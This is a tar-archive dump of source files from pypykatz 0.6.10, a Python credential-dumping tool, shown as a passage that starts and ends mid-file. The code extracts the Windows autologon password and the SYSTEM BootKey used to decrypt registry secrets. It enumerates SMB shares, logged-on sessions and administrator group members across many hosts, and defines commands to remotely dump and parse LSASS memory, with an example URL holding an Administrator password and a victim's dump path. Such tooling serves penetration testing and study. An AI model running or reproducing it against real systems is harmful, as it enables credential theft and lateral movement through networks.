buff.read(16) nl.EncryptedData = buff.read() try: nl.LastWrite = filetime_to_dt(nl.LastWrite) except Exception as e: nl.LastWrite = None return nl def __str__(self): t = '== NL_RECORD ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/registry/software/0000775000175000017500000000000014647211624020451 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/software/__init__.py0000664000175000017500000000000014543266630022552 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/software/asoftware.py0000664000175000017500000000340614543266630023023 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # ##### from pypykatz.registry import logger class SOFTWARE: def __init__(self, sam_hive, bootkey): self.hive = sam_hive self.bootkey = bootkey self.default_logon_user = None self.default_logon_domain = None self.default_logon_password = None async def get_default_logon(self): if self.default_logon_user is None: try: data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName') data = data[1] except: pass else: if isinstance(data, bytes): self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] else: self.default_logon_user = data if self.default_logon_domain is None: try: data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName') data = data[1] except: pass else: if isinstance(data, bytes): self.default_logon_domain = data.decode('utf-16-le') else: self.default_logon_domain = data if self.default_logon_password is None: try: data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword') data = data[1] except: pass else: if isinstance(data, bytes): self.default_logon_password = data.decode('utf-16-le') else: self.default_logon_password = data return self.default_logon_user def to_dict(self): t = {} t['default_logon_user'] = self.default_logon_user t['default_logon_domain'] = self.default_logon_domain t['default_logon_password'] = self.default_logon_password return t def __str__(self): t = '============== SOFTWARE hive secrets ==============\r\n' t += 'default_logon_user: %s\r\n' % self.default_logon_user return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714320164.0 pypykatz-0.6.10/pypykatz/registry/software/software.py0000664000175000017500000000350614613471444022662 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # ##### from pypykatz.registry import logger class SOFTWARE: def __init__(self, sam_hive, bootkey): self.hive = sam_hive self.bootkey = bootkey self.default_logon_user = None self.default_logon_domain = None self.default_logon_password = None def get_default_logon(self): if self.default_logon_user is None: try: data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName')[1] except: pass else: if isinstance(data, bytes): self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] else: self.default_logon_user = data if self.default_logon_domain is None: try: data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName')[1] except: pass else: if isinstance(data, bytes): self.default_logon_domain = data.decode('utf-16-le') else: self.default_logon_domain = data if self.default_logon_password is None: try: data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword')[1] except: pass else: if isinstance(data, bytes): self.default_logon_password = data.decode('utf-16-le') else: self.default_logon_password = data return self.default_logon_user def to_dict(self): t = {} t['default_logon_user'] = self.default_logon_user t['default_logon_domain'] = self.default_logon_domain t['default_logon_password'] = self.default_logon_password return t def __str__(self): t = '============== SOFTWARE hive secrets ==============\r\n' t += 'default_logon_user: %s\r\n' % self.default_logon_user t += 'default_logon_domain: %s\r\n' % self.default_logon_domain t += 'default_logon_password: %s\r\n' % self.default_logon_password return t ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/registry/system/0000775000175000017500000000000014647211624020143 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/system/__init__.py0000664000175000017500000000000014543266630022244 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/system/asystem.py0000664000175000017500000000526314543266630022212 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.registry import logger from pypykatz.commons.common import hexdump # # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. # Without having the BootKey no decryption can be performed on any of the secrets, # therefore it is mandatory to supply this hive. # # The way to obtain the BootKey is quite straightforward. # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. # we read the Class attribute of these keys and de-obfuscate the key # class SYSTEM: def __init__(self, system_hive): self.hive = system_hive self.currentcontrol = None self.bootkey = None async def get_currentcontrol(self): logger.debug('[SYSTEM] determining current control set') if self.currentcontrol is not None: return self.currentcontrol ccs = await self.hive.get_value('Select\\Current') ccs = ccs[1] self.currentcontrol = "ControlSet%03d" % ccs logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) return self.currentcontrol async def get_bootkey(self): logger.debug('[SYSTEM] get_bootkey invoked') if self.bootkey is not None: return self.bootkey if self.currentcontrol is None: await self.get_currentcontrol() transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] bootkey_obf = '' for key in ['JD', 'Skew1', 'GBG', 'Data']: bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) bootkey_obf = bytes.fromhex(bootkey_obf) self.bootkey = b'' for i in range(len(bootkey_obf)): self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) return self.bootkey async def get_secrets(self): await self.get_currentcontrol() await self.get_bootkey() async def get_service_user(self, service_name): if self.currentcontrol is None: await self.get_currentcontrol() try: key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) val = await self.hive.get_value(key) return val[1].decode('utf-16-le') except: return None def to_dict(self): t = {} t['CurrentControlSet'] = self.currentcontrol t['BootKey'] = self.bootkey return t def __str__(self): t = '============== SYSTEM hive secrets ==============\r\n' t += 'CurrentControlSet: %s\r\n' % self.currentcontrol t += 'Boot Key: %s\r\n' % self.bootkey.hex() return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/system/system.py0000664000175000017500000000512514543266630022046 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.registry import logger from pypykatz.commons.common import hexdump # # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. # Without having the BootKey no decryption can be performed on any of the secrets, # therefore it is mandatory to supply this hive. # # The way to obtain the BootKey is quite straightforward. # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. # we read the Class attribute of these keys and de-obfuscate the key # class SYSTEM: def __init__(self, system_hive): self.hive = system_hive self.currentcontrol = None self.bootkey = None def get_currentcontrol(self): logger.debug('[SYSTEM] determining current control set') if self.currentcontrol is not None: return self.currentcontrol ccs = self.hive.get_value('Select\\Current')[1] self.currentcontrol = "ControlSet%03d" % ccs logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) return self.currentcontrol def get_bootkey(self): logger.debug('[SYSTEM] get_bootkey invoked') if self.bootkey is not None: return self.bootkey if self.currentcontrol is None: self.get_currentcontrol() transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] bootkey_obf = '' for key in ['JD', 'Skew1', 'GBG', 'Data']: bootkey_obf += self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) bootkey_obf = bytes.fromhex(bootkey_obf) self.bootkey = b'' for i in range(len(bootkey_obf)): self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) return self.bootkey def get_secrets(self): self.get_currentcontrol() self.get_bootkey() def get_service_user(self, service_name): if self.currentcontrol is None: self.get_currentcontrol() try: key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) return self.hive.get_value(key)[1].decode('utf-16-le') except: return None def to_dict(self): t = {} t['CurrentControlSet'] = self.currentcontrol t['BootKey'] = self.bootkey return t def __str__(self): t = '============== SYSTEM hive secrets ==============\r\n' t += 'CurrentControlSet: %s\r\n' % self.currentcontrol t += 'Boot Key: %s\r\n' % self.bootkey.hex() return t ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/0000775000175000017500000000000014647211624016242 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/__init__.py0000664000175000017500000000000014543266630020343 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/cmdhelper.py0000664000175000017500000001467614543266630020577 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import argparse class RemoteCMDHelper: def __init__(self): self.live_keywords = ['smbapi'] self.keywords = [] #['remote'] no yet implemented def add_args(self, parser, live_parser): live_subcommand_parser = argparse.ArgumentParser(add_help=False) live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API') live_smbapi_subparsers.required = True live_smbapi_subparsers.dest = 'livesmbapi' live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations') live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_smbapi_share.add_argument('op', choices=['enum']) live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line') live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.') live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations') live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_smbapi_session.add_argument('op', choices=['enum']) live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line') live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.') live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations') live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_smbapi_localgroup.add_argument('op', choices=['enum']) live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line') live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.') live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.') live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser]) #group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files') #group.add_argument('system', help='path to the SYSTEM registry hive') #group.add_argument('--sam', help='path to the SAM registry hive') #group.add_argument('--security', help='path to the SECURITY registry hive') #group.add_argument('--software', help='path to the SOFTWARE registry hive') #group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') #group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def process_results(self, results, args): pass def run_live(self, args): if args.livesmbapi == 'share': if args.op == 'enum': from pypykatz.remote.live.share.enumerator import ShareEnumerator se = ShareEnumerator() if args.target_file: se.load_targets_file(args.target_file) if args.target: se.load_tagets(args.target) if len(se.hosts) == 0: raise Exception('No targets loaded!') if args.timeout: se.timeout = args.timeout se.pre_check = True if args.disable_pre_check: se.pre_check = False se.to_json = args.json if args.outfile: se.out_file = args.outfile se.run() elif args.livesmbapi == 'session': if args.op == 'enum': from pypykatz.remote.live.session.enumerator import SessionMonitor se = SessionMonitor() if args.target_file: se.load_targets_file(args.target_file) if args.target: se.load_tagets(args.target) if len(se.hosts) == 0: raise Exception('No targets loaded!') if args.timeout: se.timeout = args.timeout se.pre_check = True if args.disable_pre_check: se.pre_check = False se.to_json = args.json if args.outfile: se.out_file = args.outfile se.run() elif args.livesmbapi == 'localgroup': if args.op == 'enum': from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator se = LocalGroupEnumerator() if args.target_file: se.load_targets_file(args.target_file) if args.target: se.load_tagets(args.target) if len(se.hosts) == 0: raise Exception('No targets loaded!') if args.timeout: se.timeout = args.timeout se.groups = ['Remote Desktop Users','Administrators','Distributed COM Users'] if args.group: se.groups = args.group se.pre_check = True if args.disable_pre_check: se.pre_check = False se.to_json = args.json if args.outfile: se.out_file = args.outfile se.run() def run(self, args): pass ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/live/0000775000175000017500000000000014647211624017201 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/__init__.py0000664000175000017500000000000014543266630021302 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/live/common/0000775000175000017500000000000014647211624020471 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/common/__init__.py0000664000175000017500000000000014543266630022572 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/common/common.py0000664000175000017500000000047614543266630022344 0ustar00webdevwebdevimport socket def is_port_up(ip, port, timeout = 1, throw = False): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) try: s.connect((ip, int(port))) s.shutdown(socket.SHUT_RDWR) return True except Exception as e: if throw is True: raise e return False finally: s.close()././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/live/localgroup/0000775000175000017500000000000014647211624021350 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/localgroup/__init__.py0000664000175000017500000000000014543266630023451 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/localgroup/enumerator.py0000664000175000017500000001100014543266630024075 0ustar00webdevwebdevimport json from threading import Thread from multiprocessing import Process, Queue from pypykatz import logger from pypykatz.commons.winapi.local.function_defs.netapi32 import NetLocalGroupGetMembers from pypykatz.remote.live.common.common import is_port_up from pypykatz.commons.common import UniversalEncoder class LocalGroupEnumThread(Thread): def __init__(self, inQ, outQ, groups = ['Remote Desktop Users','Administrators','Distributed COM Users'], timeout = 1, pre_check = True): Thread.__init__(self) self.inQ = inQ self.outQ = outQ self.timeout = timeout self.pre_check = pre_check self.groups = groups def run(self): while True: target = self.inQ.get() if not target: break if self.pre_check is True: if is_port_up(target, 445, timeout = self.timeout) is False: continue try: for groupname in self.groups: for group in NetLocalGroupGetMembers(target, groupname, level=2): self.outQ.put((target, groupname, group)) except Exception as e: logger.debug('LocalGroupEnumThread error: %s' % str(e)) continue class LocalGroupEnumProc(Process): def __init__(self, inQ, outQ, threadcnt, groups, timeout = 1, pre_check = True): Process.__init__(self) self.inQ = inQ self.outQ = outQ self.threadcnt = threadcnt self.threads = [] self.timeout = timeout self.pre_check = pre_check self.groups = groups def run(self): for i in range(self.threadcnt): t = LocalGroupEnumThread(self.inQ, self.outQ, groups = self.groups, timeout = self.timeout, pre_check = self.pre_check) t.daemon = True t.start() self.threads.append(t) for t in self.threads: t.join() class LGResProc(Process): def __init__(self, outQ, out_file = None, to_json = False): Process.__init__(self) self.outQ = outQ self.results = {} self.out_file = out_file self.to_json = to_json def setup(self): return def run(self): self.setup() while True: result = self.outQ.get() if not result: break target, groupname, group = result if self.to_json is True: if target not in self.results: self.results[target] = [] self.results[target].append([groupname, group.to_dict()]) else: result = '%s %s %s %s %s' % (target, groupname, group.domain, group.username, str(group.sid)) if self.out_file is not None: if target not in self.results: self.results[target] = [] self.results[target].append(result) else: print(result) if self.out_file is None and self.to_json is False: return logger.info('Writing results...') if self.out_file is not None: with open(self.out_file,'w', newline = '') as f: if self.to_json is True: f.write(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True)) else: for target in self.results: for res in self.results[target]: f.write( '%s %s\r\n' % (target, res)) else: print(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True)) class LocalGroupEnumerator: def __init__(self): self.hosts = [] self.inQ = Queue() self.outQ = Queue() self.agents = [] self.result_process = None self.agent_proccnt = 4 self.agent_threadcnt = 4 self.timeout = 1 self.pre_check = True self.out_file = None self.to_json = False self.groups = ['Remote Desktop Users','Administrators','Distributed COM Users'] def load_targets_ldap(self, ldap): ldap_filter = r'(&(sAMAccountType=805306369))' attributes = ['sAMAccountName'] for entry in ldap.pagedsearch(ldap_filter, attributes): self.hosts.append(entry['attributes']['sAMAccountName'][:-1]) def load_targets_file(self, filename): with open(filename,'r') as f: for line in f: line=line.strip() if line == '': continue self.hosts.append(line) def load_tagets(self, targets): self.hosts += targets def run(self): self.result_process = LGResProc(self.outQ, out_file = self.out_file, to_json = self.to_json) self.result_process.daemon = True self.result_process.start() for i in range(self.agent_proccnt): p = LocalGroupEnumProc(self.inQ, self.outQ, self.agent_threadcnt, groups = self.groups, timeout = self.timeout, pre_check = self.pre_check) p.daemon = True p.start() self.agents.append(p) logger.info('=== Enumerating local groups ===') for t in self.hosts: self.inQ.put(t) for a in self.agents: for i in range(self.agent_threadcnt): self.inQ.put(None) for a in self.agents: a.join() self.outQ.put(None) self.result_process.join() ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/live/session/0000775000175000017500000000000014647211624020664 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/session/__init__.py0000664000175000017500000000000014543266630022765 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/session/enumerator.py0000664000175000017500000001016214543266630023421 0ustar00webdevwebdev import json from threading import Thread from multiprocessing import Process, Queue from pypykatz import logger from pypykatz.commons.winapi.local.function_defs.netapi32 import NetSessionEnum from pypykatz.remote.live.common.common import is_port_up from pypykatz.commons.common import UniversalEncoder class SessMonThread(Thread): def __init__(self, inQ, outQ, timeout = 1, pre_check = True): Thread.__init__(self) self.inQ = inQ self.outQ = outQ self.timeout = timeout self.pre_check = pre_check def run(self): while True: target = self.inQ.get() if not target: break if self.pre_check is True: if is_port_up(target, 445, timeout = self.timeout) is False: continue try: for share in NetSessionEnum(target, level=1): self.outQ.put((target, share)) except Exception as e: logger.debug('SessionMonitor error: %s' % str(e)) continue class SessMonProc(Process): def __init__(self, inQ, outQ, threadcnt, timeout = 1, pre_check = True): Process.__init__(self) self.inQ = inQ self.outQ = outQ self.threadcnt = threadcnt self.threads = [] self.timeout = timeout self.pre_check = pre_check def run(self): for i in range(self.threadcnt): t = SessMonThread(self.inQ, self.outQ, timeout = self.timeout, pre_check = self.pre_check) t.daemon = True t.start() self.threads.append(t) for t in self.threads: t.join() class SMResProc(Process): def __init__(self, outQ, out_file = None, to_json = False): Process.__init__(self) self.outQ = outQ self.results = {} self.out_file = out_file self.to_json = to_json def setup(self): return def run(self): self.setup() while True: result = self.outQ.get() if not result: break target, session = result if self.to_json is True: if target not in self.results: self.results[target] = [] self.results[target].append(session.to_dict()) else: ip = session.computername.replace('\\\\','') result = '%s %s %s' % (target, ip, session.username) if self.out_file is not None: if target not in self.results: self.results[target] = [] self.results[target].append(result) else: print(result) if self.out_file is None and self.to_json is False: return logger.info('Writing results...') if self.out_file is not None: with open(self.out_file,'w', newline = '') as f: if self.to_json is True: f.write(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True)) else: for target in self.results: for res in self.results[target]: f.write( '%s %s\r\n' % (target, res)) else: print(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True)) class SessionMonitor: def __init__(self): self.hosts = [] self.inQ = Queue() self.outQ = Queue() self.agents = [] self.result_process = None self.agent_proccnt = 4 self.agent_threadcnt = 4 self.timeout = 1 self.pre_check = True self.out_file = None self.to_json = False def load_targets_ldap(self, ldap): ldap_filter = r'(&(sAMAccountType=805306369))' attributes = ['sAMAccountName'] for entry in ldap.pagedsearch(ldap_filter, attributes): self.hosts.append(entry['attributes']['sAMAccountName'][:-1]) def load_targets_file(self, filename): with open(filename,'r') as f: for line in f: line=line.strip() if line == '': continue self.hosts.append(line) def load_tagets(self, targets): self.hosts += targets def run(self): self.result_process = SMResProc(self.outQ, out_file = self.out_file, to_json = self.to_json) self.result_process.daemon = True self.result_process.start() for i in range(self.agent_proccnt): p = SessMonProc(self.inQ, self.outQ, self.agent_threadcnt, timeout = self.timeout, pre_check = self.pre_check) p.daemon = True p.start() self.agents.append(p) logger.info('=== Polling sessions ===') for t in self.hosts: self.inQ.put(t) for a in self.agents: for i in range(self.agent_threadcnt): self.inQ.put(None) for a in self.agents: a.join() self.outQ.put(None) self.result_process.join() ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/remote/live/share/0000775000175000017500000000000014647211624020303 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/share/__init__.py0000664000175000017500000000000014543266630022404 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/remote/live/share/enumerator.py0000664000175000017500000001117714543266630023047 0ustar00webdevwebdevimport json from threading import Thread from multiprocessing import Process, Queue from pypykatz import logger from pypykatz.commons.winapi.local.function_defs.netapi32 import NetShareEnum from pypykatz.remote.live.common.common import is_port_up from pypykatz.commons.common import UniversalEncoder class ShareEnumThread(Thread): def __init__(self, inQ, outQ, timeout = 1, pre_check = True): Thread.__init__(self) self.inQ = inQ self.outQ = outQ self.timeout = timeout self.pre_check = pre_check def run(self): while True: target = self.inQ.get() if not target: break if self.pre_check is True: try: if is_port_up(target, 445, timeout = self.timeout, throw = True) is False: continue except Exception as e: self.outQ.put((target, None, str(e))) continue try: for share in NetShareEnum(target, level=1): self.outQ.put((target, share, None)) except Exception as e: logger.debug('ShareEnumerator error: %s' % str(e)) continue class ShareEnumProc(Process): def __init__(self, inQ, outQ, threadcnt, timeout = 1, pre_check = True): Process.__init__(self) self.inQ = inQ self.outQ = outQ self.threadcnt = threadcnt self.threads = [] self.timeout = timeout self.pre_check = pre_check def run(self): for i in range(self.threadcnt): t = ShareEnumThread(self.inQ, self.outQ, timeout = self.timeout, pre_check = self.pre_check) t.daemon = True t.start() self.threads.append(t) for t in self.threads: t.join() class SMResProc(Process): def __init__(self, outQ, out_file = None, to_json = False): Process.__init__(self) self.outQ = outQ self.results = {} self.errors = {} self.out_file = out_file self.to_json = to_json def setup(self): return def run(self): self.setup() while True: result = self.outQ.get() if not result: break target, share, err = result if err is not None: if self.to_json is False and self.out_file is None: print('%s : %s' % (target, str(err))) else: self.errors[target] = err continue if self.to_json is True: if target not in self.results: self.results[target] = [] self.results[target].append(share.to_dict()) else: result = '%s %s %s %s %s' % (target, share.netname, share.type, share.remark, share.passwd) if self.out_file is not None: if target not in self.results: self.results[target] = [] self.results[target].append(result) else: print(result) if self.out_file is None and self.to_json is False: #print already heppened return logger.info('Writing results...') if self.out_file is not None: with open(self.out_file,'w', newline = '') as f: if self.to_json is True: f.write(json.dumps({'results' : self.results, 'errors': self.errors}, cls = UniversalEncoder, indent=4, sort_keys=True)) else: for target in self.results: for res in self.results[target]: f.write( '%s %s\r\n' % (target, res)) for target in self.errors: f.write( '%s %s\r\n' % (target, self.errors[target])) else: print(json.dumps({'results' : self.results, 'errors': self.errors}, cls = UniversalEncoder, indent=4, sort_keys=True)) class ShareEnumerator: def __init__(self): self.hosts = [] self.inQ = Queue() self.outQ = Queue() self.agents = [] self.result_process = None self.agent_proccnt = 4 self.agent_threadcnt = 4 self.timeout = 1 self.pre_check = True self.out_file = None self.to_json = False def load_targets_ldap(self, ldap): ldap_filter = r'(&(sAMAccountType=805306369))' attributes = ['sAMAccountName'] for entry in ldap.pagedsearch(ldap_filter, attributes): self.hosts.append(entry['attributes']['sAMAccountName'][:-1]) def load_targets_file(self, filename): with open(filename,'r') as f: for line in f: line=line.strip() if line == '': continue self.hosts.append(line) def load_tagets(self, targets): self.hosts += targets def run(self): self.result_process = SMResProc(self.outQ, out_file = self.out_file, to_json = self.to_json) self.result_process.daemon = True self.result_process.start() for i in range(self.agent_proccnt): p = ShareEnumProc(self.inQ, self.outQ, self.agent_threadcnt, timeout = self.timeout, pre_check = self.pre_check) p.daemon = True p.start() self.agents.append(p) logger.info('=== Enumerating shares ===') for t in self.hosts: self.inQ.put(t) for a in self.agents: for i in range(self.agent_threadcnt): self.inQ.put(None) for a in self.agents: a.join() self.outQ.put(None) self.result_process.join() ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/smb/0000775000175000017500000000000014647211624015530 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/__init__.py0000664000175000017500000000000014543266630017631 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/cmdhelper.py0000664000175000017500000011004714543266630020052 0ustar00webdevwebdev #!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import json import ntpath import asyncio import platform import argparse import base64 import traceback from pypykatz import logger from pypykatz.commons.common import UniversalEncoder from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession """ This is a wrapper for aiosmb """ class SMBCMDArgs: def __init__(self): self.smb_url = None self.verbose = 0 self.silent = True self.smb_url = None self.no_interactive = False self.commands = ['login', 'i'] smb_live_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" ' class SMBCMDHelper: def __init__(self): self.live_keywords = ['smb'] self.keywords = ['smb'] def add_args(self, parser, live_parser): smb_group = parser.add_parser('smb', help='SMB related commands') smb_subparsers = smb_group.add_subparsers() smb_subparsers.required = True smb_subparsers.dest = 'smb_module' smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands') smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') smb_client_group.add_argument('url', help="SMB connection string") smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.') smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP'") smb_lsassfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') smb_lsassfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') smb_lsassfile_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') smb_lsassfile_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') smb_lsassfile_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') smb_lsassdump_group.add_argument('url', help="SMB connection string 